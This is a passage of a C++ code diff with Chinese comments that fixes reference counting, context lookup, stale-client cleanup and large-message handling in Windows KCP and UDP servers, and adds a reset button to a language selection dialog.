continue;
|
||||
}
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
ikcp_input(ctx->kcp, buf, ret);
|
||||
}
|
||||
|
||||
char recvbuf[4096];
|
||||
int n = 0;
|
||||
do {
|
||||
// 一条 KCP 消息可能远大于 4KB:客户端按 128KB 分块发送,预览响应
|
||||
// 可达数十 KB。ikcp_recv 缓冲不足时返回 -2 且不消费消息,队头卡住
|
||||
// 后整个连接再也收不到包。这里按 peeksize 动态扩容,并直接把缓冲
|
||||
// 交给解析器(ctx->szBuffer 只有 8KB,不能拿来接大包)。
|
||||
for (;;) {
|
||||
int peek = 0, n = 0;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
|
||||
peek = ikcp_peeksize(ctx->kcp);
|
||||
if (peek <= 0)
|
||||
break;
|
||||
if ((int)m_recvBuf.size() < peek)
|
||||
m_recvBuf.resize(peek);
|
||||
n = ikcp_recv(ctx->kcp, m_recvBuf.data(), (int)m_recvBuf.size());
|
||||
}
|
||||
if (n > 0&& m_notify) {
|
||||
memcpy(ctx->szBuffer, recvbuf, n);
|
||||
BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, n, m_notify);
|
||||
}
|
||||
} while (n>0);
|
||||
if (n <= 0)
|
||||
break;
|
||||
if (m_notify)
|
||||
ParseReceivedData(ctx, (PBYTE)m_recvBuf.data(), n, m_notify);
|
||||
}
|
||||
// 与 FindOrCreateClient 的加引用配对;若容器已要求删除,这可能是
|
||||
// 最后一枚引用,由这里完成销毁。
|
||||
ctx->ReleaseIoRef();
|
||||
}
|
||||
} else {
|
||||
DWORD err = WSAGetLastError();
|
||||
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
|
||||
// 打印错误或做其他处理
|
||||
// 句柄被关闭(WSAENOTSOCK)等错误会让 recvfrom 立刻返回,
|
||||
// 不加延时这里会变成 100% CPU 的空转。
|
||||
Sleep(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -140,14 +176,38 @@ void IOCPKCPServer::WorkerThread()
|
||||
|
||||
void IOCPKCPServer::KCPUpdateLoop()
|
||||
{
|
||||
time_t lastSweep = 0;
|
||||
while (m_running) {
|
||||
IUINT32 current = iclock();
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
CONTEXT_KCP* ctx = kv.second;
|
||||
if (ctx && ctx->kcp) {
|
||||
ikcp_update(ctx->kcp, current);
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
CONTEXT_KCP* ctx = kv.second;
|
||||
if (ctx && ctx->kcp) {
|
||||
ikcp_update(ctx->kcp, current);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 与 UDP 服务端同款清理:600 秒没有任何心跳/数据报的上下文(NAT 重绑、
|
||||
// 端口扫描、切换后遗留的旧地址)不会再有数据,摘除以免映射无限增长。
|
||||
time_t now = time(0);
|
||||
if (now - lastSweep >= 60) {
|
||||
lastSweep = now;
|
||||
std::vector<CONTEXT_KCP*> stale;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
if (now - (time_t)kv.second->GetLastHeartbeat() > 600) {
|
||||
kv.second->IoRefCount.fetch_add(1); // 保护指针,避免并发释放
|
||||
stale.push_back(kv.second);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (CONTEXT_KCP* c : stale) {
|
||||
c->GetServer()->Disconnect(c); // 摘映射 + 置删除标记(延迟释放)
|
||||
c->ReleaseIoRef(); // 丢弃保护引用
|
||||
}
|
||||
}
|
||||
|
||||
@@ -213,29 +273,36 @@ void IOCPKCPServer::Destroy()
|
||||
|
||||
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx) return;
|
||||
// ServerPair::Disconnect 会把上下文转给两种服务端,先确认真的是 KCP 上下文,
|
||||
// 否则下面的 static_cast 会越界读取 clientAddr。
|
||||
if (!ctx || ctx->GetProtocol() != "KCP")
|
||||
return;
|
||||
|
||||
std::string key = ctx->GetPeerName();
|
||||
CONTEXT_KCP* kcpCtx = static_cast<CONTEXT_KCP*>(ctx);
|
||||
bool found = false;
|
||||
|
||||
// Step 1: Remove from m_clients while holding lock
|
||||
// Step 1: Remove from m_clients while holding lock. 键必须带端口——
|
||||
// GetPeerName() 只有 IP,原来用它查 "IP:port" 的映射永远查不到,
|
||||
// 上下文既不摘除也不释放。
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end() && it->second == ctx) {
|
||||
auto it = m_clients.find(kcpCtx->MakeKey());
|
||||
if (it != m_clients.end() && it->second == kcpCtx) {
|
||||
m_clients.erase(it);
|
||||
found = true;
|
||||
}
|
||||
}
|
||||
if (!found)
|
||||
return;
|
||||
|
||||
// Step 2: Call offline callback WITHOUT holding m_contextsMutex
|
||||
// This prevents deadlock with UI thread holding m_cs and calling Send2Client
|
||||
if (found) {
|
||||
if (m_offline) m_offline(ctx);
|
||||
if (ctx->kcp) {
|
||||
ikcp_release(ctx->kcp);
|
||||
ctx->kcp = nullptr;
|
||||
}
|
||||
delete ctx;
|
||||
}
|
||||
// 不调用 m_offline:与 IOCPUDPServer 保持一致。宿主列表的移除、替补转正、
|
||||
// 缩略图/循环窗清理和 UI 刷新由对话框自己完成(CheckHeartbeat、删除主机、
|
||||
// 协议切换顶替都先做了 RemoveFromHostList + PromoteStandby)。这里再回调
|
||||
// 一次 OfflineProc 只会重复投递 WM_USEROFFLINEMSG 和 m_PendingOffline。
|
||||
// 客户端主动 BYE 退出时列表项由 120 秒心跳超时回收,与 UDP 相同。
|
||||
// 延迟回收:收包线程可能还持有该上下文(FindOrCreateClient 加的引用),
|
||||
// 先占一枚引用再置删除标记,由最后一个 ReleaseIoRef 销毁。
|
||||
kcpCtx->IoRefCount.fetch_add(1);
|
||||
kcpCtx->DeleteWhenIdle.store(true);
|
||||
kcpCtx->ReleaseIoRef();
|
||||
}
|
||||
@@ -23,8 +23,21 @@ public:
|
||||
clientAddr = {};
|
||||
addrLen = sizeof(sockaddr_in);
|
||||
}
|
||||
void CancelIO() override
|
||||
{
|
||||
// 与 UDP 相同:sClientSocket 是服务端共享的 KCP 接收 socket,基类
|
||||
// SAFE_CANCELIO 会 CancelIo + closesocket,关掉它等于打死同端口所有
|
||||
// KCP 客户端。KCP 上下文没有独占连接,这里什么都不做。
|
||||
}
|
||||
void Destroy() override
|
||||
{
|
||||
// 与 UDP 相同:上下文归服务端 m_clients 所有,必须经 Disconnect 先摘除
|
||||
// 映射再延迟释放,否则映射里会留下悬空指针。
|
||||
if (server != nullptr) {
|
||||
server->Disconnect(this);
|
||||
return;
|
||||
}
|
||||
delete this;
|
||||
}
|
||||
virtual std::string GetPeerName() const override
|
||||
{
|
||||
@@ -42,6 +55,17 @@ public:
|
||||
int client_port = ntohs(clientAddr.sin_port);
|
||||
return client_port;
|
||||
}
|
||||
// m_clients 的键("IP:port")。Disconnect 必须用它查表:GetPeerName() 只有 IP,
|
||||
// 原来拿它去查 "IP:port" 的映射永远查不到,上下文既不摘除也不释放。
|
||||
std::string MakeKey() const
|
||||
{
|
||||
// inet_ntop 写入调用方缓冲,不在多线程间共用 inet_ntoa 的静态缓冲。
|
||||
char ip[INET_ADDRSTRLEN] = { 0 };
|
||||
inet_ntop(AF_INET, &clientAddr.sin_addr, ip, sizeof(ip));
|
||||
char buf[64];
|
||||
sprintf_s(buf, "%s:%d", ip, ntohs(clientAddr.sin_port));
|
||||
return buf;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPKCPServer : public Server
|
||||
@@ -58,6 +82,7 @@ public:
|
||||
virtual BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
virtual void Destroy() override;
|
||||
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
|
||||
virtual void UpdateMaxConnection(int maxConn) override { m_maxConn = maxConn; }
|
||||
|
||||
private:
|
||||
SOCKET m_socket = INVALID_SOCKET;
|
||||
@@ -65,12 +90,16 @@ private:
|
||||
HANDLE m_hThread = NULL;
|
||||
bool m_running = false;
|
||||
USHORT m_port = 0;
|
||||
int m_maxConn = 10000; // 由 ServerPair::UpdateMaxConnection 下发
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
|
||||
std::mutex m_contextsMutex;
|
||||
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
|
||||
// WorkerThread 的整包接收缓冲。不能再用函数内 static:多个 KCP 端口实例
|
||||
// 各自有 WorkerThread,会同时 resize/读取同一个对象导致串包或堆损坏。
|
||||
std::vector<char> m_recvBuf;
|
||||
|
||||
std::thread m_kcpUpdateThread;
|
||||
|
||||
|
||||
@@ -1410,8 +1410,10 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||
// zlib 用 compressBound:1.001n+12 对小于约 1KB 的包会比 compressBound 少
|
||||
// 1 字节,compress() 返回 Z_BUF_ERROR,小包(心跳 ACK、控制命令)被静默丢弃。
|
||||
unsigned long ulCompressedLength = usingZstd ?
|
||||
ZSTD_compressBound(ulOriginalLength) : (unsigned long)((double)ulOriginalLength * 1.001 + 12);
|
||||
ZSTD_compressBound(ulOriginalLength) : compressBound(ulOriginalLength);
|
||||
// 使用预分配缓冲区替代每次 new
|
||||
LPBYTE CompressedBuffer = ContextObject->GetSendCompressBuffer(ulCompressedLength);
|
||||
Buffer tmp(szBuffer, ulOriginalLength);
|
||||
|
||||
@@ -85,6 +85,60 @@ void IOCPUDPServer::PostRecv()
|
||||
}
|
||||
}
|
||||
|
||||
std::string IOCPUDPServer::MakeKey(const sockaddr_in& addr)
|
||||
{
|
||||
char buf[64];
|
||||
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
|
||||
return buf;
|
||||
}
|
||||
|
||||
CONTEXT_UDP* IOCPUDPServer::FindOrCreateClient(const sockaddr_in& addr)
|
||||
{
|
||||
std::string key = MakeKey(addr);
|
||||
std::lock_guard<std::mutex> lock(m_clientsMutex);
|
||||
|
||||
auto it = m_clients.find(key);
|
||||
CONTEXT_UDP* ctx = (it != m_clients.end()) ? it->second : nullptr;
|
||||
if (ctx == nullptr) {
|
||||
// 和接收上下文共用上限,防止地址枚举把映射和内存撑爆
|
||||
if ((int)m_clients.size() >= m_maxConn)
|
||||
return nullptr;
|
||||
ctx = new CONTEXT_UDP();
|
||||
ctx->InitMember(m_socket, this);
|
||||
ctx->clientAddr = addr;
|
||||
ctx->addrLen = sizeof(sockaddr_in);
|
||||
m_clients[key] = ctx;
|
||||
}
|
||||
// 在锁内加引用:避免和 Disconnect 的“移除 + 删除”交错,导致下发地址
|
||||
// 之后再访问已释放的上下文。
|
||||
ctx->IoRefCount.fetch_add(1);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
void IOCPUDPServer::Disconnect(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || ctx->GetProtocol() != "UDP")
|
||||
return; // TCP/KCP 上下文不归本服务端管
|
||||
|
||||
CONTEXT_UDP* udp = static_cast<CONTEXT_UDP*>(ctx);
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_clientsMutex);
|
||||
auto it = m_clients.find(MakeKey(udp->clientAddr));
|
||||
if (it == m_clients.end() || it->second != ctx)
|
||||
return;
|
||||
m_clients.erase(it);
|
||||
// 先占一枚临时引用:保证在“置删除标记”之前不会有人把我们当成最后
|
||||
// 一个释放者,删除动作只由下面的 ReleaseIoRef 或后续释放者完成。
|
||||
ctx->IoRefCount.fetch_add(1);
|
||||
}
|
||||
|
||||
// 不调用 m_offline:宿主列表的移除由对话框自己完成,再回调会重复提示下线。
|
||||
// 也不等待引用归零:调用方(心跳超时/删除主机的 UI 线程)可能自己持有引用。
|
||||
// 标记后交给最后一个释放引用的人销毁。
|
||||
ctx->DeleteWhenIdle.store(true);
|
||||
ctx->ReleaseIoRef(); // 本次函数不再触碰 ctx
|
||||
}
|
||||
|
||||
void IOCPUDPServer::WorkerThread()
|
||||
{
|
||||
while (m_running) {
|
||||
@@ -101,18 +155,52 @@ void IOCPUDPServer::WorkerThread()
|
||||
delete ioCtx;
|
||||
DelCount();
|
||||
}
|
||||
// 失败(典型是数据报大于 8KB 接收缓冲导致的 WSAEMSGSIZE)也要补投,
|
||||
// 否则接收槽逐次减少,4 个之后服务端再也收不到任何 UDP 包。
|
||||
if (m_running)
|
||||
PostRecv();
|
||||
continue;
|
||||
}
|
||||
if (!pOverlapped) continue;
|
||||
|
||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||
CONTEXT_UDP* ctx = ioCtx->pContext;
|
||||
BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, bytes, m_notify);
|
||||
if (999 != ret)
|
||||
ctx->Destroy();
|
||||
// 接收上下文只负责装缓冲和来源地址;真正参与分发的是按地址复用的
|
||||
// 持久上下文(登录时存进宿主列表的就是它,心跳必须命中同一对象)。
|
||||
CONTEXT_UDP* recvCtx = ioCtx->pContext;
|
||||
CONTEXT_UDP* ctx = FindOrCreateClient(recvCtx->clientAddr);
|
||||
if (ctx != nullptr) {
|
||||
// 每个数据报是独立完整包;清掉上一包的残留,避免解析器把两包拼在
|
||||
// 一起(持久上下文不像旧的“每包一个上下文”那样天然干净)。
|
||||
ctx->InCompressedBuffer.ClearBuffer();
|
||||
ParseReceivedData(ctx, (PBYTE)recvCtx->szBuffer, bytes, m_notify);
|
||||
ctx->ReleaseIoRef(); // 若容器已标记删除且这是最后一枚引用,就地销毁
|
||||
}
|
||||
|
||||
// 约每分钟清理一次长时间没有数据报的上下文,避免映射无限增长。
|
||||
// 600s 远大于心跳超时(>=120s),被清理的都是早已从宿主列表移除的地址。
|
||||
static time_t lastSweep = 0;
|
||||
time_t now = time(0);
|
||||
if (now - lastSweep >= 60) {
|
||||
lastSweep = now;
|
||||
std::vector<CONTEXT_UDP*> stale;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_clientsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
if (now - (time_t)kv.second->GetLastHeartbeat() > 600) {
|
||||
kv.second->IoRefCount.fetch_add(1); // 保护指针,避免并发删除
|
||||
stale.push_back(kv.second);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (CONTEXT_UDP* c : stale) {
|
||||
c->GetServer()->Disconnect(c); // 摘除映射并置删除标记(不等待)
|
||||
c->ReleaseIoRef(); // 丢弃保护引用,必要时在此销毁
|
||||
}
|
||||
}
|
||||
// 持久上下文不在这里释放:它由 m_clients 持有,主机下线时经
|
||||
// Disconnect 释放。ioCtx 的析构只回收接收缓冲上下文。
|
||||
|
||||
// 释放
|
||||
ioCtx->pContext = NULL;
|
||||
delete ioCtx;
|
||||
DelCount();
|
||||
|
||||
@@ -179,4 +267,13 @@ VOID IOCPUDPServer::Destroy()
|
||||
SAFE_CLOSE_HANDLE(m_hIOCP);
|
||||
m_hIOCP = NULL;
|
||||
}
|
||||
|
||||
// 清理所有持久上下文
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_clientsMutex);
|
||||
for (auto& kv : m_clients) {
|
||||
delete kv.second;
|
||||
}
|
||||
m_clients.clear();
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,9 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <mswsock.h>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include "Server.h"
|
||||
|
||||
|
||||
@@ -29,6 +32,7 @@ public:
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||
BOOL Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
VOID Destroy() override;
|
||||
void Disconnect(CONTEXT_OBJECT* ctx) override;
|
||||
virtual void UpdateMaxConnection(int maxConn) override
|
||||
{
|
||||
m_locker.lock();
|
||||
@@ -39,6 +43,10 @@ public:
|
||||
private:
|
||||
void WorkerThread();
|
||||
void PostRecv();
|
||||
// 按来源地址复用同一个上下文:登录时存进宿主列表的就是它,后续心跳等
|
||||
// 数据报必须命中同一对象,否则 clientID / 客户端数据都是空的。
|
||||
CONTEXT_UDP* FindOrCreateClient(const sockaddr_in& addr);
|
||||
static std::string MakeKey(const sockaddr_in& addr);
|
||||
IO_CONTEXT* AddCount()
|
||||
{
|
||||
m_locker.lock();
|
||||
@@ -77,4 +85,7 @@ private:
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
|
||||
std::map<std::string, CONTEXT_UDP*> m_clients; // 地址 -> 持久上下文
|
||||
std::mutex m_clientsMutex;
|
||||
};
|
||||
+162
-65
@@ -69,19 +69,21 @@ public:
|
||||
langSet.insert(_T("en_US"));
|
||||
langSet.insert(_T("zh_TW"));
|
||||
|
||||
// 2. 扫描磁盘上的语言文件
|
||||
CString searchPath = m_langDir + _T("\\*.ini");
|
||||
WIN32_FIND_DATA fd;
|
||||
HANDLE hFind = FindFirstFile(searchPath, &fd);
|
||||
if (hFind != INVALID_HANDLE_VALUE) {
|
||||
do {
|
||||
CString filename(fd.cFileName);
|
||||
int dotPos = filename.ReverseFind(_T('.'));
|
||||
if (dotPos > 0) {
|
||||
langSet.insert(filename.Left(dotPos));
|
||||
}
|
||||
} while (FindNextFile(hFind, &fd));
|
||||
FindClose(hFind);
|
||||
// 2. 扫描磁盘上的语言文件(目录为空表示只用内嵌语言)
|
||||
if (!m_langDir.IsEmpty()) {
|
||||
CString searchPath = m_langDir + _T("\\*.ini");
|
||||
WIN32_FIND_DATA fd;
|
||||
HANDLE hFind = FindFirstFile(searchPath, &fd);
|
||||
if (hFind != INVALID_HANDLE_VALUE) {
|
||||
do {
|
||||
CString filename(fd.cFileName);
|
||||
int dotPos = filename.ReverseFind(_T('.'));
|
||||
if (dotPos > 0) {
|
||||
langSet.insert(filename.Left(dotPos));
|
||||
}
|
||||
} while (FindNextFile(hFind, &fd));
|
||||
FindClose(hFind);
|
||||
}
|
||||
}
|
||||
|
||||
// 转为 vector 返回
|
||||
@@ -108,6 +110,11 @@ public:
|
||||
return true;
|
||||
}
|
||||
|
||||
if (m_langDir.IsEmpty()) {
|
||||
TRACE("[LangEnc] lang dir disabled, reject disk language\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
|
||||
|
||||
@@ -190,9 +197,9 @@ public:
|
||||
|
||||
// 中文模式:检查是否有补丁文件
|
||||
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
||||
// 尝试加载中文补丁文件(可选)
|
||||
// 尝试加载中文补丁文件(可选);目录为空时不访问磁盘
|
||||
CString patchFile = m_langDir + _T("\\zh_CN.ini");
|
||||
if (GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
|
||||
if (!m_langDir.IsEmpty() && GetFileAttributes(patchFile) != INVALID_FILE_ATTRIBUTES) {
|
||||
CIniParser ini;
|
||||
if (ini.LoadFile((LPCSTR)patchFile)) {
|
||||
const CIniParser::TKeyVal* pSection = ini.GetSection("Strings");
|
||||
@@ -210,9 +217,9 @@ public:
|
||||
// 1. 先从内嵌资源加载(英语和繁体中文)
|
||||
bool hasBuiltin = LoadFromResource(langCode);
|
||||
|
||||
// 2. 再从磁盘文件加载(覆盖内嵌翻译)
|
||||
// 2. 再从磁盘文件加载(覆盖内嵌翻译);目录为空时只用内嵌语言
|
||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||
if (GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
|
||||
if (!m_langDir.IsEmpty() && GetFileAttributes(langFile) != INVALID_FILE_ATTRIBUTES) {
|
||||
CIniParser ini;
|
||||
// 如果有内嵌资源,使用追加模式覆盖;否则使用普通加载
|
||||
if (hasBuiltin) {
|
||||
@@ -324,12 +331,19 @@ public:
|
||||
return m_currentLang;
|
||||
}
|
||||
|
||||
// 语言包目录(Init 时确定;为空表示未设置,语言对话框据此显示"内置/预设")
|
||||
// 语言包目录(Init 时确定)。空表示已显式清空:不访问外部语言包,只用内置语言;
|
||||
// 仅当配置键缺失时,调用方才回退到 "./lang"。
|
||||
const CString& GetLangDir() const
|
||||
{
|
||||
return m_langDir;
|
||||
}
|
||||
|
||||
// 清空语言包目录变量:只保留内嵌语言,不再访问磁盘语言包。
|
||||
void ClearLangDir()
|
||||
{
|
||||
m_langDir.Empty();
|
||||
}
|
||||
|
||||
// 是否为中文模式(无需翻译)
|
||||
bool IsChinese() const
|
||||
{
|
||||
@@ -678,6 +692,8 @@ class CLangSelectDlg : public CDialog
|
||||
public:
|
||||
CString m_strSelectedLang;
|
||||
CComboBox m_comboLang;
|
||||
CButton m_btnReset; // 运行时创建,避免改动动态对话框模板的控件数
|
||||
bool m_bResetToBuiltin = false; // 用户点了“重置”:清空语言包目录变量并恢复内置语言
|
||||
|
||||
CLangSelectDlg(CWnd* pParent = NULL) : CDialog(), m_pParent(pParent) {}
|
||||
|
||||
@@ -688,20 +704,23 @@ public:
|
||||
}
|
||||
|
||||
// 静态方法:显示对话框并返回选择的语言代码
|
||||
// 返回空字符串表示用户取消
|
||||
static CString Show(CWnd* pParent = NULL)
|
||||
// 返回空字符串表示用户取消;reset 非空时回传是否点了“重置”。
|
||||
static CString Show(CWnd* pParent = NULL, bool* reset = nullptr)
|
||||
{
|
||||
CLangSelectDlg dlg(pParent);
|
||||
if (dlg.DoModal() == IDOK) {
|
||||
if (reset != nullptr) *reset = dlg.m_bResetToBuiltin;
|
||||
return dlg.m_strSelectedLang;
|
||||
}
|
||||
return _T("");
|
||||
}
|
||||
|
||||
protected:
|
||||
enum { IDC_LANG_RESET_CTRL = 0x4C52 };
|
||||
CWnd* m_pParent;
|
||||
std::vector<BYTE> m_templateBuffer;
|
||||
std::vector<CString> m_langCodes;
|
||||
CRect m_rcDirEdit; // 目录框原始位置(用于重置按钮自适应布局)
|
||||
|
||||
// 语言代码到显示名称的映射
|
||||
static CString GetLanguageDisplayName(const CString& langCode)
|
||||
@@ -713,6 +732,122 @@ protected:
|
||||
return langCode;
|
||||
}
|
||||
|
||||
// 语言包目录(配置可能为相对路径,展示前解析成绝对路径)
|
||||
CString ResolveLangDir() const
|
||||
{
|
||||
CString dir = g_Lang.GetLangDir();
|
||||
if (dir.IsEmpty())
|
||||
return dir;
|
||||
TCHAR full[MAX_PATH] = { 0 };
|
||||
const DWORD n = GetFullPathName(dir, MAX_PATH, full, NULL);
|
||||
if (n > 0 && n < MAX_PATH)
|
||||
return CString(full);
|
||||
return dir; // 超长路径或解析失败时保留原值,避免指到错误目录
|
||||
}
|
||||
|
||||
// 目录框右侧动态创建“重置”按钮(模板控件数不变,避免动态模板创建失败)。
|
||||
void CreateResetButton()
|
||||
{
|
||||
CWnd* pDir = GetDlgItem(1004);
|
||||
if (pDir == nullptr)
|
||||
return;
|
||||
pDir->GetWindowRect(&m_rcDirEdit);
|
||||
ScreenToClient(&m_rcDirEdit);
|
||||
CRect btn(m_rcDirEdit.right - 60, m_rcDirEdit.top, m_rcDirEdit.right, m_rcDirEdit.bottom);
|
||||
m_btnReset.Create(_T("Reset"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||
btn, this, IDC_LANG_RESET_CTRL);
|
||||
m_btnReset.SetFont(GetFont());
|
||||
}
|
||||
|
||||
// 按当前语言的实际文本宽度布局:右侧按钮自适应,目录框相应收窄。
|
||||
void LayoutResetButton()
|
||||
{
|
||||
CWnd* pDir = GetDlgItem(1004);
|
||||
if (pDir == nullptr || m_btnReset.GetSafeHwnd() == nullptr)
|
||||
return;
|
||||
CClientDC dc(this);
|
||||
CFont* oldFont = dc.SelectObject(GetFont());
|
||||
const CSize sz = dc.GetTextExtent(_TR("重置"));
|
||||
dc.SelectObject(oldFont);
|
||||
int btnW = sz.cx + 24;
|
||||
if (btnW < 60)
|
||||
btnW = 60;
|
||||
const int gap = 5;
|
||||
CWnd* pOk = GetDlgItem(IDOK);
|
||||
CRect okRect(0, 0, 0, 14);
|
||||
if (pOk != nullptr) {
|
||||
pOk->GetWindowRect(&okRect);
|
||||
ScreenToClient(&okRect);
|
||||
}
|
||||
CRect edit = m_rcDirEdit;
|
||||
edit.right -= (btnW + gap);
|
||||
CRect btn(edit.right + gap, 0, edit.right + gap + btnW, 0);
|
||||
const int mid = m_rcDirEdit.top + m_rcDirEdit.Height() / 2;
|
||||
btn.top = mid - okRect.Height() / 2;
|
||||
btn.bottom = btn.top + okRect.Height();
|
||||
pDir->SetWindowPos(NULL, edit.left, edit.top, edit.Width(), edit.Height(), SWP_NOZORDER);
|
||||
m_btnReset.SetWindowPos(NULL, btn.left, btn.top, btn.Width(), btn.Height(), SWP_NOZORDER);
|
||||
}
|
||||
|
||||
// 按当前语言刷新对话框自身的文案(OnInitDialog 调用)。
|
||||
void SetUiTexts()
|
||||
{
|
||||
CString strTitle = _TR("切换语言");
|
||||
WCHAR wTitle[64] = { 0 };
|
||||
MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
|
||||
::SetWindowTextW(m_hWnd, wTitle);
|
||||
SetDlgItemText(1002, _TR("语言:"));
|
||||
SetDlgItemText(1003, _TR("语言包目录:"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
SetDlgItemText(IDC_LANG_RESET_CTRL, _TR("重置"));
|
||||
LayoutResetButton();
|
||||
}
|
||||
|
||||
// 重新填充语言下拉框(内置语言始终在列,磁盘包按目录扫描)。
|
||||
void PopulateLanguageCombo()
|
||||
{
|
||||
m_comboLang.ResetContent();
|
||||
m_langCodes.clear();
|
||||
int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
|
||||
m_langCodes.push_back(_T("zh_CN"));
|
||||
m_comboLang.SetItemData(idx, 0);
|
||||
auto langs = g_Lang.GetAvailableLanguages();
|
||||
for (const auto& lang : langs) {
|
||||
if (lang == _T("zh_CN")) continue;
|
||||
CString displayName = GetLanguageDisplayName(lang);
|
||||
idx = m_comboLang.AddString(displayName);
|
||||
m_comboLang.SetItemData(idx, m_langCodes.size());
|
||||
m_langCodes.push_back(lang);
|
||||
}
|
||||
CString current = g_Lang.GetCurrentLanguage();
|
||||
if (current.IsEmpty()) current = _T("zh_CN");
|
||||
for (size_t i = 0; i < m_langCodes.size(); ++i) {
|
||||
if (m_langCodes[i] == current) {
|
||||
m_comboLang.SetCurSel((int)i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 重置:确认后清空语言包,结果交回调用方落盘并提示;对话框以 IDOK 关闭。
|
||||
void OnResetLanguage()
|
||||
{
|
||||
// 只清空“语言包目录”这个配置变量;磁盘上的 ini 文件不动。
|
||||
// 由调用方落盘:当前语言若已是内置语言则保留,否则回退 en_US。
|
||||
m_bResetToBuiltin = true;
|
||||
EndDialog(IDOK);
|
||||
}
|
||||
|
||||
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||
{
|
||||
if (LOWORD(wParam) == IDC_LANG_RESET_CTRL && HIWORD(wParam) == BN_CLICKED) {
|
||||
OnResetLanguage();
|
||||
return TRUE;
|
||||
}
|
||||
return CDialog::OnCommand(wParam, lParam);
|
||||
}
|
||||
|
||||
LPCDLGTEMPLATE CreateDialogTemplate()
|
||||
{
|
||||
const WORD DLG_WIDTH = 260;
|
||||
@@ -810,58 +945,20 @@ protected:
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// 模板为动态构造的 Unicode 模板,MBCS 下被 ANSI 创建路径误读,标题/标签/按钮文字会乱码,
|
||||
// 故在此显式设置(走线程 locale GBK,与其它对话框同法),不再对已乱码文本调用 TranslateDialog。
|
||||
// 标题含中文:非中文系统上 ANSI 消息按系统 ACP 解码会乱码,用 _TR 取翻译(中文→切换语言,
|
||||
// 英语→Switch Language)后,显式 GBK(936)→Unicode 转换再用 Unicode 消息设置(与工具栏同法)。
|
||||
CString strTitle = _TR("切换语言");
|
||||
WCHAR wTitle[64] = { 0 };
|
||||
MultiByteToWideChar(936, 0, strTitle, -1, wTitle, 64);
|
||||
::SetWindowTextW(m_hWnd, wTitle);
|
||||
SetDlgItemText(1002, _TR("语言:"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
// 故由 SetUiTexts 显式设置(标题按 936→Unicode,其余走当前语言)。
|
||||
CreateResetButton();
|
||||
SetUiTexts();
|
||||
|
||||
// 语言包目录(只读展示):目录不存在时说明只有内嵌语言可用。
|
||||
// 语言包目录(只读展示):目录为空/不存在时显示“内置/预设”。
|
||||
// 路径可能较长,控件带 ES_AUTOHSCROLL,可横向滚动并选中复制。
|
||||
SetDlgItemText(1003, _TR("语言包目录:"));
|
||||
CString langDir = g_Lang.GetLangDir();
|
||||
CString showDir;
|
||||
